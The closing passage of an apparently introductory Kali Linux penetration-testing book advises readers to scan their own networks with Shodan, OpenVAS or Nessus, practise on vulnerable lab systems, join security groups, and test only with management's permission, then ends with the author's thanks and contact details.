great reference and alert site at Attp.//www.us-cert.gov/ncas/tips/.

Scan your Network
Scan your network for security issues before the bad guys do.

Just using Shodan will expose systems hanging out on your network that you may have forgotten.

Large companies usually have many systems publicly available running outdated Operating Systems
and Web software.
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Don’t forget to check for cameras, open devices and also printers that are giving out too much
information like internal network information, SNMP strings and user accounts.

Also, use an open source (like OpenVas) or commercial security scanning system (like NESSUS) to
scan your entire network for security issues. OpenVas comes pre-installed on Kali, there is somewhat
of a process to get it working, but there are numerous tutorials online.

Learn Offensive Computer Security
Finally, learn about offensive computer security techniques like those presented in this book,

We have covered the most basic techniques used in offensive system security. There are a ton of
books and security training seminars out there. Learn pentesting techniques (using products like Kali)
and then try out your skills out on tools like Metasploitable and Mutillidae.

Connect with your local OWASP chapter or other security groups in your area. Attend security
conferences and make contacts in the security field. Many do not mind helping out when asked good
questions. SANS has some great classes too.

And once proficient, and with management’s permission, test the security of your network systems.

Conclusion
I just wanted to take a minute and thank you for reading my book. If you have any comments or
suggestions, or just want to say “ Hi! ” please let me know, I would love to hear from you!

I can be reached at Cyberarms@live.com.

Also, please check out my Blog, cyberarms.wordpress.com for up to date computer security news
and tutorials.

This project took quite a bit of time (I actually started it a couple years ago using Backtrack, then
updated it when Kali came out), but if the response is positive, I am planning on creating an
intermediary level and possibly even a third more advanced book.

Thanks again!
Best Regards,

Daniel Dieterle
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